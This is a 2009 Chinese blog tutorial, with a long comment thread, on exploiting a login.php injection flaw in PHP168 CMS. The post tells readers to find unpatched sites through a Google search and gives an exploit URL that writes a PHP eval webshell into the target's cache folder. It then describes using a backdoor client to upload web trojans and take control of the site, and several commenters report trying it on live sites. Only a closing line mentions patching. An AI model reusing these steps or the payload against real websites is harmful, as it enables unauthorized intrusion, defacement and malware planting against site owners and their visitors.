利用登陆文件注入漏洞给网页挂马-卢松松博客

« 做网站要不要专注都别点我，我喜欢孤独 » 11月2日 时间：2009-11-2 9:30:34 利用登陆文件注入漏洞给网页挂马 分享到： 阅读：评论： 226

本文操作方法十分简单，按照操作提示一步步来就可以完成了。不少网站在后台登陆框输入‘or’'='代码就可以直接登陆网站后台，这种方式曾经是最流行入侵方式，而今天卢松松讲的是如何利用login后台登陆文件漏洞注入代码。

login.php（.asp/.aspx）文件一般都是作为CMS系统的管理员后台登陆文件，这里以PHP168CMS系统为例，login.php漏洞实际上的一个注入漏洞，是利用文件代码设计不良直接讲恶意代码直接上传到网站目录中。利用此漏洞可以进入网站，实行内容篡、网页挂马等手段。

第一步,寻找使用PHP168CMS的网站

在google中输入“powered by php168”，然后随意找到一个网站作为测试，主要是寻找没有打补丁的网站。然后在域名后面输入，例：http://lusongsong.com/login.php?makehtml=1&chdb[htmlname]=shell.php&chdb[path]=cache&content=<?php%20@eval($_POST[cmd]);?>如果出现了登陆界面就表明漏洞被成功利用。（文中的入侵域名请换成搜索的网站域名）

第二步,读取网站目录，获取网站绝对路径

如果代码成功执行，木马就会保存在cache\shell.php文件中，然后下载一个“lanker微型PHP后门客户端”，在木马地址栏输入http://lusongsong.com/cache/shell.php，然后选择读取目录，如果连接成功就能显示出网站所在服务器中的绝对路径。

第三步,开始上传PHP网页木马

在lanker微型PHP后门的基本功能列表中选择上传网页木马，上传的文件会保存在cache目录中。在域名的后面输入“cache/网站木马文件名”就可以运行木马了，至此已经对使用PHP168CMS系统的网站获得了控制权，可以任意的修改和删除。

其实存在login注入漏洞的不止PHP168一家，还有很多不知名的PHP网站源码都有这个漏洞,如果你使用的是PHP系统，请赶快检测你的程序是否有这个问题吧。对于PHP语言不了解的站长可以利用PHP注入漏洞扫描工具对你的网站进行扫描，例如：CASI、PHP-Mysql注入分析器、ZBSI等工具。更详细方法可以google一下：“如何预防和检测网页挂马”。或者查看我写过的关于网站挂马文章。

除非注明，文章均为卢松松原创，欢迎转载！转载请注明出处，谢谢。分类: 网站优化

本文地址：http://lusongsong.com/reed/118.html

评论:(226)
隐藏评论列表
【已有226位网友发表了看法，你呢？】

226楼豆诺博客回复该留言
Post:2011-11-29 18:51:58
这些都是技术性比较强的，我不怎么看得懂。
225楼中国最好的整形医院回复该留言
Post:2011-9-1 15:49:05
此法松哥有实践过吗？效果怎样？
224楼天玉有双回复该留言
Post:2011-6-1 13:13:24
松哥，这个也行！
223楼烟台SEO回复该留言
Post:2011-5-11 19:44:43
把人教坏了
222楼性感美女回复该留言
Post:2011-4-9 11:06:39
很好很强大啊！学习了，呵呵！
221楼亿思网站安全检测回复该留言
Post:2011-3-22 15:35:07
利用漏洞做坏事！！！呵呵！
220楼博客之家回复该留言
Post:2010-11-21 6:56:47
看来应该注意一下啊
219楼Baider回复该留言
Post:2010-10-18 20:19:42
这个太邪恶了。
218楼ELChe回复该留言
Post:2010-8-17 20:08:51
人满满的~~~！
217楼whatout回复该留言
Post:2010-8-16 7:57:41
此文好邪恶
216楼clouder回复该留言
Post:2010-8-4 9:41:44
这篇文章很垃圾，应该是php远程执行漏洞，提交的市php一句话木马。
215楼乐泰胶水回复该留言
Post:2010-8-1 13:31:30
网络太可怕了
214楼關鍵字回复该留言
Post:2010-3-22 14:53:30
厲害喔！我都沒有試過呢！
213楼沉睡海洋回复该留言
Post:2010-3-21 18:14:55
卢松松还兼职黑客教程编写啊
212楼SEO回复该留言
Post:2010-2-23 16:35:46
博主，厲害啦！我也按照步驟來試試先！
211楼奋斗Blog回复该留言
Post:2009-12-25 16:29:57
ASP的更容易挂马
卢松松于 2010-3-23 13:47:19 回复
是呢 asp太流行了
210楼安逸哇回复该留言
Post:2009-12-2 18:16:19
楼可真高啊,看得我头都酸了~~~
209楼风云春秋回复该留言
Post:2009-11-12 22:54:55
攻防结合懂得攻才知道怎么防！
208楼漢文溪回复该留言
Post:2009-11-12 22:38:11
看了惊出一身冷汗
卢松松于 2009-11-13 13:54:47 回复
你的博文点不开了点就出现404错误
207楼Xuu回复该留言
Post:2009-11-12 16:13:52

我是恶人，学习了，以后可以考虑用来挂点小广告。不过估计会很费时间，到我有能力做的时候还不如直接花钱买广告。
206楼Xuu回复该留言
Post:2009-11-12 16:03:05
我的网站根本没流量，只加了个PHP的简单留言本，就被人加了一大堆垃圾留言。
205楼use56420回复该留言
Post:2009-11-11 17:04:22
5555
204楼use56420回复该留言
Post:2009-11-11 17:03:52
555555
203楼就做垃圾站回复该留言
Post:2009-11-10 20:14:26
继续
202楼壹小时回复该留言
Post:2009-11-9 15:42:15
以后要注意这个问题了，网站有点流量就有人搞
201楼男儿国回复该留言
Post:2009-11-8 19:18:13
怎么更改评论的头像啊？
卢松松于 2009-11-8 20:00:50 回复
到这里用email注册个头像，评论时用这个email就可以了
http://www.gravatar.com
200楼夜之无休回复该留言
Post:2009-11-8 11:42:09
很好很强大啊！学习了，呵呵！
199楼阿东回复该留言
Post:2009-11-8 10:53:38
好危险。。收录了。。
松哥哪个版本的PHP168。。。
198楼蓝莓绿茶回复该留言
Post:2009-11-7 22:26:48
得小心了，即使做备份比较好~
197楼会律博客回复该留言
Post:2009-11-6 20:15:21
效果明显大家都喜欢做坏事情哈哈！
196楼aisinvon回复该留言
Post:2009-11-6 18:52:20
松松会教坏大家么
卢松松于 2009-11-7 18:15:28 回复
应该主要是预防吧
195楼男儿国回复该留言
Post:2009-11-5 10:04:07
大家一样要养成，经常对网站进行备份的习惯，不然一但出问题，损失就大了。
194楼菲萨塔回复该留言
Post:2009-11-5 8:16:11
这算黑客教程么哈哈！现在很多博客都在写这些东西！！！！
193楼淘宝网减肥药回复该留言
Post:2009-11-4 23:50:04
谢谢松松我的就是PHP168的系统看到你这文章我马上处理了以上的漏洞信息谢谢
192楼男儿国回复该留言
Post:2009-11-4 21:38:35
网站被挂马，是我做站以来最闹心的事，我曾经因为网站挂马，处理了几天还是处理不了，最后一气之下把整个网站的内容全删除了。
卢松松于 2009-11-4 21:41:24 回复
下次别这样了，记得把数据库，和图片、附件文件夹一定要保留啊
191楼男儿国回复该留言
Post:2009-11-4 19:22:06
你不放广告是不是因为你不喜欢钱？
南斗星于 2009-11-11 16:00:39 回复
南儿国你在这里很能发表评论啊，呵呵。。。
190楼车主名录回复该留言
Post:2009-11-4 14:14:05
嘿嘿找几个来试一试
189楼..回复该留言
Post:2009-11-4 12:40:40
188楼海天无影回复该留言
Post:2009-11-4 11:57:13
呵呵松松要转行做黑客了？
187楼虾回复该留言
Post:2009-11-4 11:51:19
虾刚试验了，成功登陆.心里一惊。这一招太狠，一旦井水犯了河水。。两个PHP168站长定会让妇女界一片腥风血雨。。沉思中。。
卢松松于 2009-11-4 11:54:06 回复
看了三遍才看懂最后一句你说的啥意思
拓荒.NET 于 2009-11-4 13:50:06 回复
为什么我没看懂？
虾于 2009-11-4 14:06:12 回复
……我的理解是
PHP168站长因为追女吃醋，所以击掌约定，谁的网站在闹钟滴答到0点之前先挂掉，谁就自动退出这场感情竞争。
于是两人静坐电脑前，摆上一杯清茶，略微沉思，双方都不由得选择了登录漏洞注入挂马，毕竟两位PHP168站长的祖上曾念到过，卢松松博客上有一手利器可破PHP168。于是两人在感恩祖上，感恩卢松松之后，同时开始敲击键盘，移动鼠标。一霎那间，程序代码支离破碎，漫天飞舞，软件程序疲于应对，应声倒下。后来一个说相声的提前当年这场恶战，都后怕得牙痒痒，“知道吗？那是相当残忍，毒辣”
当PHP168站长双方目光与网络同时发力时，那个红颜薄命的女生则在一旁静静观战，暗自祈祷。。她身后的亲友团尖叫声弥漫。为了这个震撼的一幕。。。。。妇女界从此没有安宁。。。
52tool 于 2009-11-4 21:05:41 回复
我坦白我没有看懂是啥意思
超于 2010-8-8 23:44:10 回复
传说中的金庸二世,小生拜见.
超于 2010-8-8 23:45:11 回复
这算是直接传shell的大漏洞了,不知几年cms界又如何
186楼网络生活回复该留言
Post:2009-11-4 10:46:43
恩，有空给我们介绍一下，如何让博客更安全
卢松松于 2009-11-4 10:53:05 回复
http://lusongsong.com/reed/79.html
网络生活于 2009-11-4 11:00:06 回复
呵呵，看到了
185楼秋天一棵树回复该留言
Post:2009-11-4 10:18:31
老卢也开始关注安全了，顶一个。
184楼simple回复该留言
Post:2009-11-4 9:15:24
现在的网站漏洞很多啊。
183楼松亮回复该留言
Post:2009-11-4 9:14:01
松松在看别人的博客。估计今天没有时间写文章了
182楼松亮回复该留言
Post:2009-11-4 8:41:01
你敢2分钟刷新一下吗？肯定今天又你都沙发
181楼巴哥回复该留言
Post:2009-11-4 8:40:33
木马，我喜欢,松松最近在潜心研究网站技术哇
卢松松于 2009-11-4 9:04:23 回复
没有研究只是想到了呵呵
松亮于 2009-11-4 9:15:08 回复
学会了侵入才能防止侵入
180楼太阳博客回复该留言
Post:2009-11-4 8:04:27
诏告天下：松松今天能更新。
179楼虫儿回复该留言
Post:2009-11-4 7:48:44
挂吧，让他来挂吧。。。
178楼小农夫回复该留言
Post:2009-11-4 5:03:34
所以今天咱可不能这么干了，免得你的粉丝砸我。咱得分散火力，呵呵
177楼小农夫回复该留言
Post:2009-11-4 5:02:55
前天晚上发了那么多，知道一个词“刷屏”
176楼小农夫回复该留言
Post:2009-11-4 5:02:16
卢哥，再帮你踩踩，小农夫就去睡觉了。
175楼網賺誌回复该留言
Post:2009-11-4 2:03:21
还好没有用PHP168CMS建站,网站安全是问题.
174楼分组回复该留言
Post:2009-11-3 23:21:45
及时补上
173楼安回复该留言
Post:2009-11-3 23:04:02
不懂==
172楼zhang回复该留言
Post:2009-11-3 22:58:14
呵呵顶你。
171楼佘星星回复该留言
Post:2009-11-3 22:55:19
出乎意料，松松这方面也研究，看内容很专业的一说。
看来跟前篇有些呼应了。
嘿嘿！
170楼七叶草回复该留言
Post:2009-11-3 22:27:04
好久没来，老大都教起黑客技术来了？

到你这里浮个水，向世界宣布我还没死，呵呵~
169楼唏嘘一世回复该留言
Post:2009-11-3 22:21:47
看方面，这个漏洞很低级
唏嘘一世于 2009-11-3 22:22:19 回复
打错个字，呵呵。应该是看方法
168楼三脚猫回复该留言
Post:2009-11-3 22:00:40
看来没事还得多关注一下程序的官方网站了，看看有没有新的漏洞~
167楼张楠回复该留言
Post:2009-11-3 21:41:24
呵呵，好奇害死人~
166楼千年夜雨回复该留言
Post:2009-11-3 21:24:12
我觉得做博客最重要的不是流量，一个过于关注流量的博客会做的好辛苦，渐渐也就失去了兴趣。博客能满足自己的实际需要才是正确的唯一的目的。
卢松松于 2009-11-3 21:41:23 回复
一个过于关注流量的博客会做的好辛苦。此话说的正是我，
165楼追忆永恒回复该留言
Post:2009-11-3 20:25:58
嘿嘿，松松教人犯罪^^!
164楼apple回复该留言
Post:2009-11-3 19:57:05
每次来楼都码得老高的，欣赏啊~
163楼三七八蛋回复该留言
Post:2009-11-3 19:53:09
松松应该检查了自己的，才写的这篇吧。哈哈
卢松松于 2009-11-3 21:02:15 回复
我的博客是asp的呵呵
162楼yoja回复该留言
Post:2009-11-3 18:42:01
无论什么文章卢兄的评论都满满的，建议写一篇娱乐性的，估计评论到300
卢松松于 2009-11-3 21:04:45 回复
写几篇娱乐性的文章，估计用不了多久就倒闭啦
161楼无名老卒回复该留言
Post:2009-11-3 18:11:02
我天天在跟挂马的人而活，他们每次挂完我服务器上面网站的马，我就得忙了。。。太不厚道了
卢松松于 2009-11-3 21:09:45 回复
你的网站或者说是服务器很有价值。
160楼52q.cn回复该留言
Post:2009-11-3 17:36:17
防治甲流，人人有责http://52q.cn有精美的flash版本，欢迎浏览，传递爱。
159楼人气博客回复该留言
Post:2009-11-3 16:52:24
php168 看来不怎么安全。
158楼90后的贼回复该留言
Post:2009-11-3 16:47:39
噢来来，噢也也，我又转过来了
157楼健康播报回复该留言
Post:2009-11-3 16:37:48
这个，这个，这个wordpress没有这个问题吧？
卢松松于 2009-11-3 21:14:50 回复
WP没有。这个只是设计不良造成的
156楼光卫回复该留言
Post:2009-11-3 16:23:34
厉害，向你学习
155楼hodz回复该留言
Post:2009-11-3 15:48:17
很恐怖啊，入侵貌似很简单的，我去检查检查！
154楼鲍捷回复该留言
Post:2009-11-3 15:41:15
P8会有这漏洞？？惊奇
153楼世纪之光回复该留言
Post:2009-11-3 15:37:44
PHP还算相对安全和快速些的吧，我以前搞过ASP，那漏洞真就太多了，三天两头被挂马。
卢松松于 2009-11-3 21:19:14 回复
那也只是相对而言啊
152楼哦耶网回复该留言
Post:2009-11-3 15:31:05
松松的博客是不是要转型了？
卢松松于 2009-11-3 21:22:12 回复
没转型，就算转型也不会转行黑客方面哈
151楼忆往事回复该留言
Post:2009-11-3 15:29:15
暂时不想攻击他人。
150楼哦耶网回复该留言
Post:2009-11-3 15:28:58
过了一晚上就到150了？
149楼北方熊之舞回复该留言
Post:2009-11-3 15:20:10
真黑!
148楼金城网络回复该留言
Post:2009-11-3 14:59:30
这个漏洞非常要命，大家要好好反省。
147楼taobao回复该留言
Post:2009-11-3 14:15:01
恩..攻防是一起的.
146楼菲萨塔回复该留言
Post:2009-11-3 14:13:09
玛雅！小农夫太猛了自己就站半边天了
145楼城市匆匆回复该留言
Post:2009-11-3 14:01:00
技术贴~支持松松！~
144楼星期九回复该留言
Post:2009-11-3 13:01:15
找个网站测试一下，呵呵呵
143楼FORECE回复该留言
Post:2009-11-3 12:56:28
竟然，竟然，竟然开始做教程了！！
142楼Gonten回复该留言
Post:2009-11-3 12:15:48
挂马无耻的哦，少干这些事
141楼汇感之舟回复该留言
Post:2009-11-3 11:45:01
卢松松要把人教坏了
140楼huangjun回复该留言
Post:2009-11-3 11:33:52
这是一篇充满争议的文章!被黑过的人会很讨厌，想黑别人的会很兴奋……
卢松松于 2009-11-3 21:38:56 回复
重点在防御啊
139楼Always.Life回复该留言
Post:2009-11-3 11:27:19
建议大家一定要及时把补丁打上，以防止一些令人讨厌的行为
138楼拓荒回复该留言
Post:2009-11-3 11:20:48
这么好玩？？
我试了下没有成功我恨你…………
卢松松于 2009-11-3 21:51:08 回复
找没有打补丁的才行
137楼coloriy回复该留言
Post:2009-11-3 11:02:09
卢兄怎么这么不厚道啊，对于一些做网站的新手来说，如果被人挂了马，那有多郁闷啊，况且用php cms 的那么多，相信很多人不会留意的，唉，要发表些怎么不被挂马的文章啊，期待中
卢松松于 2009-11-3 21:52:30 回复
此文的发布就是为了提醒站长及时更新补丁，而且文章最后已经提供的有预防和检测木马的方法
136楼SATURN回复该留言
Post:2009-11-3 9:54:03
你教人做坏事~~~
135楼百奥博回复该留言
Post:2009-11-3 9:50:13
这个，骇客，不要害人哈！
134楼蛋王回复该留言
Post:2009-11-3 9:26:06
你是坏人，不跟你玩了。。。
卢松松于 2009-11-3 9:41:12 回复
我去找你玩
133楼北街回复该留言
Post:2009-11-3 9:21:54
丫不会挂我，挂我没价值，HOHO
132楼酷口回复该留言
Post:2009-11-3 9:03:50
WP应该不会有这样的漏洞吧。。。
卢松松于 2009-11-3 9:21:08 回复
WP没有
131楼LAONB回复该留言
Post:2009-11-3 8:47:45
我申请了360和瑞星的网站查毒，而且我空间后台也有查木马功能，很安全，哈哈。
卢松松于 2009-11-3 9:22:13 回复
你的安全系数很强
130楼随影回复该留言
Post:2009-11-3 8:33:58
晕还说占一位呢，都这么多人了
129楼太阳博客回复该留言
Post:2009-11-3 7:35:30
俺是学佛的，不做坏事。
128楼九站回复该留言
Post:2009-11-3 7:32:21
为什么取得绝对路径很总要呢？
127楼大剑回复该留言
Post:2009-11-3 7:21:28
这个补丁应该早就有了吧？还好咱一般不用这些系统
126楼替身回复该留言
Post:2009-11-3 4:01:33
厉害原来老卢还是个Hacker
卢松松于 2009-11-3 9:25:06 回复
我不是Hacker
125楼翔子回复该留言
Post:2009-11-3 3:54:04
松松还讲这些呢？
124楼killfox回复该留言
Post:2009-11-3 2:15:25
顺便看了一下，存在漏洞的网站还真多，
123楼小强回复该留言
Post:2009-11-3 1:36:45
这也懂点，那也懂点，骇客方面的也懂点！
122楼零距离回复该留言
Post:2009-11-3 0:21:55
网页原来这样挂马哦，看来要做好防范准备了
121楼mosky回复该留言
Post:2009-11-3 0:05:37
小农夫，你也太强了，顶层就那么爽吗？正所谓怕的越高，摔得越痛。
看你那么辛苦，我真有点不好意思留言栏啦，但是既然来了，不留言有感觉对不起松松啊。所以再三思量我还是留了吧，
120楼小农夫回复该留言
Post:2009-11-2 23:57:21
算了不发了，等下我把卢哥的粉丝惹毛了。我会被口水淹死的。应该不会有女粉丝吧。如果有，我想，我以后不敢再来卢哥这了。因为女人的骂大街是很牛的。小农夫就有一次刻骨铭心的经历呀，现在还历历在目呢。
菲萨塔于 2009-11-3 14:11:12 回复
你太猛了这回复太多了
119楼小农夫回复该留言
Post:2009-11-2 23:54:52
真的是奇怪了，怎么还能发呀，卢哥，我要反你的这层楼全给占了，本来只想要半层的，现在看来，你也奈何不了小农夫了。
118楼小农夫回复该留言
Post:2009-11-2 23:53:33
晕呢，居然不能发，是不是你对我特别够意思呀，记得以前发了十条就是要审核了。
117楼小农夫回复该留言
Post:2009-11-2 23:52:41
应该发完这一条就不能发了。对了，卢哥，你每天赚那么多钱怎么花得完呀，像我天天在家，都没有钱发。弄点给小弟花花吧。开玩笑滴！！！！
116楼小农夫回复该留言
Post:2009-11-2 23:51:19
评论到凌晨吧，到那时候去弄点吃的。小农夫是典型的夜猫
115楼小农夫回复该留言
Post:2009-11-2 23:50:19
还好，现在是午夜了没有什么人和我抢，
114楼小农夫回复该留言
Post:2009-11-2 23:49:42
也不算是垃圾信息啦，垃圾信息应该不用自己手工输入吧，咱可是纯手工，用小沈阳的话来说：咱可是纯爷们。呵呵
113楼小农夫回复该留言
Post:2009-11-2 23:48:52
打算有二三分钟的时间占了这半层楼
112楼小农夫回复该留言
Post:2009-11-2 23:48:28
刚才上面的少应该是个秒字，打五笔就是这玩意不好。
111楼小农夫回复该留言
Post:2009-11-2 23:48:00
晕死，卢哥，你这人气也太高了吧，我才几少钟就变成一百一十一楼了。
松亮于 2009-11-3 12:22:51 回复
真是有瘾回这么多！！！目的何在
松亮于 2009-11-3 12:50:56 回复
松亮每天访问一次。松亮都习惯
110楼小农夫回复该留言
Post:2009-11-2 23:47:20
不过，可能在ASP方面懂得多一点，PHP都没有去研究，不过话说回来，早几年可是ASP的天下呀，这玩意儿用的人多，再安全也不安全了，一大堆人在那埋着头研究网站源码，过不了几天就暴出一个漏洞。这二年就转为PHP的天下了。相对而言安全一些。
卢松松于 2009-11-3 9:36:56 回复
那么说你对ASP很有研究了？
109楼apple回复该留言
Post:2009-11-2 23:46:24
看完了，飘一下~
108楼小农夫回复该留言
Post:2009-11-2 23:45:38
卢哥，有空咱俩交流一下，我闲着没事也对入侵有一些研究。
卢松松于 2009-11-3 9:37:57 回复
我很少搞这方面的研究哦，主要是做网站防护用的
107楼土狼妹妹回复该留言
Post:2009-11-2 23:22:03
学习了
106楼小k回复该留言
Post:2009-11-2 23:19:24
注入持久不衰。注入也成所谓hack的必学的。
105楼腌生肉回复该留言
Post:2009-11-2 23:04:50
无比怀念读书的时候。。。。。
104楼淘书阁回复该留言
Post:2009-11-2 22:59:40
我的另外一个网站刚被发现挂马 :(
103楼小搓板回复该留言
Post:2009-11-2 22:30:14
汗。
= = 。

这标题忒夸张。
102楼疯秀回复该留言
Post:2009-11-2 22:05:29
每次都是100多楼~~什么时候能占上沙发~
101楼松亮回复该留言
Post:2009-11-2 21:58:17
哈哈我赶上100了，那第101是不是又一个起点嗯
100楼松亮回复该留言
Post:2009-11-2 21:57:32
松松的博客一天的评论就有100多。看来是真的不少啊
99楼ShuaiGe.Me回复该留言
Post:2009-11-2 21:49:41
俺是好孩子，不做坏事
顶多换换广告，，
98楼棺材中的尘埃回复该留言
Post:2009-11-2 21:45:35
这个够狠的
97楼仁心博客回复该留言
Post:2009-11-2 21:40:08
老卢准备干坏事了
96楼lucky回复该留言
Post:2009-11-2 21:13:29
学习一下!
95楼悠远的驼铃回复该留言
Post:2009-11-2 20:59:31
没干过这事，但可以通过此文预防。
94楼bolo回复该留言
Post:2009-11-2 20:48:08
居然教人做坏事了
93楼超人回复该留言
Post:2009-11-2 20:43:31
第一步我试过.能成功.至于下一步我就不干了~~
92楼爱.一起.你回复该留言
Post:2009-11-2 20:35:03
这篇确实相当“墙”的文章，只说了通过漏洞进攻，却少了补漏方法教程！
卢松松于 2009-11-2 21:24:02 回复
php168漏洞已经填补了
91楼蓝冰回复该留言
Post:2009-11-2 20:29:16
wp使用者路过
90楼阿士回复该留言
Post:2009-11-2 20:29:00
无言，还好没有选择用PHP168
89楼要饭的回复该留言
Post:2009-11-2 20:03:56
太强悍了~~
88楼niuhuifei回复该留言
Post:2009-11-2 19:44:29
看了很多人要去使坏了。
87楼MuMuS回复该留言
Post:2009-11-2 19:03:54
确实一点也没有看懂。大家bs我吧。
86楼neoear回复该留言
Post:2009-11-2 18:58:30
了解进攻方法，作出针对的防守方法，知已知彼，百战不殆，哈～
85楼johnny回复该留言
Post:2009-11-2 18:57:04
预见到一批网站将倒在松松大佬的文章下~
84楼日记男孩回复该留言
Post:2009-11-2 18:37:49
卢兄是挂马高手吗? 别挂小弟的站啊,谢谢呵呵
83楼mimzyx回复该留言
Post:2009-11-2 18:35:16
难道上次卢兄在自己网站挂马？
82楼老K回复该留言
Post:2009-11-2 17:34:14
不愧是搞网站的.
81楼老潘回复该留言
Post:2009-11-2 17:19:24
这个确实还没研究到。哪天有空了就试试看！
80楼亦歌回复该留言
Post:2009-11-2 17:15:56
松松也搞PHP的？多面手啊，学习的榜样！
79楼1234回复该留言
Post:2009-11-2 16:50:16
高手吗？我觉得你写的不是那么好！不知道不懂吧是因为我！
卢松松于 2009-11-2 21:39:47 回复
因为什么你觉得这文章不好呢？
78楼掌柜的马甲回复该留言
Post:2009-11-2 16:49:00
老路也搞黑客技术了?
卢松松于 2009-11-2 21:40:15 回复
名字打错了，呵呵。我不研究黑客只是预防而已
77楼wayne回复该留言
Post:2009-11-2 16:44:10
看看就好，还是不要实践了。。。
76楼小农夫回复该留言
Post:2009-11-2 16:20:37
卢哥，你可真强呀，入侵你也懂呀
卢松松于 2009-11-2 21:43:47 回复
略懂，主要是为了防止自己网站入侵学了一点
75楼可咔酷回复该留言
Post:2009-11-2 16:04:37
想不到博主还懂这个
74楼二人三地话健康回复该留言
Post:2009-11-2 15:57:42
怕怕啊。有挂WP的马的吗？
73楼华晨回复该留言
Post:2009-11-2 15:56:38
我博客程序没有后台，所以不会被挂马，哈哈哈！
卢松松于 2009-11-2 21:45:03 回复
你的博客和所有博客都不同，自己开发的牛
72楼hisnake回复该留言
Post:2009-11-2 15:52:40
老路开始研究这个啦？
卢松松于 2009-11-2 21:45:59 回复
名字打错了，不是研究只是学习，以防后患
71楼最好啦回复该留言
Post:2009-11-2 15:42:17
哈哈博主别教坏小童鞋了哦~~~
70楼园子回复该留言
Post:2009-11-2 15:39:11
嘿嘿
还是个黑客呢~
69楼Sudd回复该留言
Post:2009-11-2 15:36:59
能否介绍下哪些源码有漏洞？也好让大家有个了解。
68楼yoja回复该留言
Post:2009-11-2 15:31:57
不怎么喜欢这类技术文章了，做不来也防不了

不过老卢的文章，总要支持一下的。

下次讲个故事吧
67楼Orange回复该留言
Post:2009-11-2 15:30:57
这个故事告诉我们，建站时不要选择不知名的源码。
66楼chanthon回复该留言
Post:2009-11-2 15:29:48
别被不怀好意的人给利用啦。
65楼LouisHan回复该留言
Post:2009-11-2 15:28:56
太坏了吧，我不喜欢这样的技术
卢松松于 2009-11-2 21:46:22 回复
你喜欢什么呢？
64楼90后的贼回复该留言
Post:2009-11-2 15:09:20
为啥每次都是人山人海的，害的我都看不到博客的尽头在哪了
63楼goldapple回复该留言
Post:2009-11-2 15:08:12
SONGSONG不要误人子弟啊！我赶紧去检测哈
62楼小y回复该留言
Post:2009-11-2 15:04:11
这个...需要友情提示下那些站长了。。注意安全。。嘿嘿。└(^o^)┘
61楼Hobo回复该留言
Post:2009-11-2 14:50:44
现在大部分的系统都是安全问题很严重,所以都在经常更新
60楼ooaixt回复该留言
Post:2009-11-2 14:43:56
昨晚还和人讨论了网站挂马的事情，今天就看到了这篇文章，呵呵
卢松松于 2009-11-2 21:54:07 回复
莫非我又中奖了？
59楼古墓候梅回复该留言
Post:2009-11-2 14:12:56
不错，我去试试了。
哈哈....
58楼wuleilei回复该留言
Post:2009-11-2 14:08:32
在写登录的程序的时候一定要小心，特别防止sql注入，不然被卢松松发现就。。。
57楼无疆回复该留言
Post:2009-11-2 14:06:39
wp是PHP的，会不会也有这个漏洞呢
卢松松于 2009-11-2 21:56:38 回复
wp没有我试过了
56楼evacuee回复该留言
Post:2009-11-2 13:49:40
这篇文章很犀利～～～
卢松松于 2009-11-2 21:57:11 回复
犀利在那里？
55楼0cai回复该留言
Post:2009-11-2 13:47:46
我就不会做这种坏事不过学点对自己的站是绝对有好处的特别是对一个大站来说是必须的
我觉得我下一个目标就是学学网络安全了否则有天做的好好的网站别人好容易就破坏了~~
54楼疾风回复该留言
Post:2009-11-2 13:45:51
阿弥陀佛，万事万物皆有因果循环的道理，可修身，勿害人~
卢松松于 2009-11-2 21:58:21 回复
大师所言极是
53楼Lc.回复该留言
Post:2009-11-2 13:33:35
我试了.. 是有见到登记界面. 可是并没有创建cache\shell.php
找不到这个目录和文件~
52楼万戈回复该留言
Post:2009-11-2 13:28:47
把我教坏了~
卢松松于 2009-11-2 21:59:37 回复
你肯定去试了
51楼hzhjun回复该留言
Post:2009-11-2 13:25:55
这个洞有啥用？
卢松松于 2009-11-2 22:00:40 回复
仔细看文章写的有
50楼Lc.回复该留言
Post:2009-11-2 13:24:50
呵呵.这个好玩..我也去试试~
不找168的. 找我师兄的PHP程序来玩玩.:-)
49楼摩凝回复该留言
Post:2009-11-2 13:06:15
Wordpress应该没有这个问题吧？如果没有俺就懒得研究它了，呵呵。
卢松松于 2009-11-2 22:01:40 回复
wp没有问题
48楼浅笑无声回复该留言
Post:2009-11-2 13:04:12
所以说用源码还得是有名的，补丁出来的也及时。
47楼星光居士回复该留言
Post:2009-11-2 12:59:22
松松还好这口？嘿嘿，真人不露相哦。
卢松松于 2009-11-2 22:02:54 回复
不是好这口，是学习用的
46楼昆明手机号码回复该留言
Post:2009-11-2 12:58:42
知足者常乐
45楼vaman回复该留言
Post:2009-11-2 12:49:11
是老文章了
44楼纪小年回复该留言
Post:2009-11-2 12:45:16
这个我喜欢……
43楼kuaijialan回复该留言
Post:2009-11-2 12:40:58
高手。。。
42楼金刚回复该留言
Post:2009-11-2 12:25:24
这是干啥？少儿不宜啊
41楼老七回复该留言
Post:2009-11-2 12:19:44
打错字了杯具。。。教坏。。
40楼老七回复该留言
Post:2009-11-2 12:19:13
额。。松松怎么可以教会小孩子呢。。。
39楼北山回复该留言
Post:2009-11-2 12:00:43
注入是挺烦人的事情
38楼益酷网回复该留言
Post:2009-11-2 11:47:08
看了松的文章果然感觉不一般呢。
37楼敏锐的眼睛回复该留言
Post:2009-11-2 11:46:16
实战从手把手开始貌似你做到了~
36楼canaan回复该留言
Post:2009-11-2 11:40:34
看起来挺简单的
35楼菲萨塔回复该留言
Post:2009-11-2 11:38:07
厉害啊！真是啥方法都能想出来啊！
34楼网页设计博客回复该留言
Post:2009-11-2 11:30:11
魔长一尺，道高一丈
33楼疯子回复该留言
Post:2009-11-2 11:28:59
话说没有不透风的墙啊，哪里能找到完全安全的程序呢，估计没有，记在脑子里都会忘记。哈哈
32楼海农回复该留言
Post:2009-11-2 11:28:03
松哥是全能人士啊
卢松松于 2009-11-2 22:35:16 回复
只是略懂一二
31楼网页设计博客回复该留言
Post:2009-11-2 11:27:58
老卢这篇东东不知会不会教坏人了呢，哈```
30楼简单生活回复该留言
Post:2009-11-2 11:22:53
呵呵，看看。不会用PHP
29楼白银时代回复该留言
Post:2009-11-2 11:20:46
此文好无聊的说。
9月伊始的时候这个洞就在各个群里面流传了，也不知道是哪个木JJ的贴出去的，然后各个站就开始转载了。
这个洞已经被补了，完全失去效用了。
现在能够找到存在隐患的站很难。
28楼平平回复该留言
Post:2009-11-2 11:19:05
不做坏事。哈哈。不过这个好像比较牛X
27楼网络生活回复该留言
Post:2009-11-2 11:17:56
啊，这么轻易的被注入木马了啊，那怎么防御呢
26楼yedo回复该留言
Post:2009-11-2 11:05:36
这篇文章是提醒站长，还是教授入侵者
卢松松于 2009-11-2 22:36:34 回复
重点是在提醒，但要吸引人还是这么写
25楼A.shun回复该留言
Post:2009-11-2 11:05:35
呀，老卢应该教我们如何防范
卢松松于 2009-11-2 22:36:58 回复
防范应该在文章后面
24楼杂八回复该留言
Post:2009-11-2 11:02:20
很牛，很犀利。
23楼haibor回复该留言
Post:2009-11-2 10:45:50
有点小坏啊哈哈
22楼微知博客回复该留言
Post:2009-11-2 10:42:57
什么时候松松开始做黑客了
卢松松于 2009-11-2 22:38:24 回复
主要是讲原理，和如何防范吧
21楼我想想回复该留言
Post:2009-11-2 10:23:48
这样的文章好假啊，看不起劲。
小叶于 2009-11-2 10:40:48 回复
来松松这儿，看这篇文章的确很有这种感觉
卢松松于 2009-11-2 22:40:07 回复
小叶你认为我应该如何改进呢？
20楼先看看回复该留言
Post:2009-11-2 10:21:08
大家千万别惹松松，小心他哪天送个木马给你。
一米于 2009-11-2 10:28:50 回复
就是，我用的WordPress应该不会被松松黑吧，哈哈。
19楼北山回复该留言
Post:2009-11-2 10:20:44
程序就在一个一个漏洞中完善起来，漏洞就是无底洞
18楼Jacse回复该留言
Post:2009-11-2 10:12:15
被注入木马就麻烦了。
松松怎么没提出解决的方法呢。
yoja 于 2009-11-2 16:02:40 回复
已经添补丁了
卢松松于 2009-11-2 22:41:06 回复
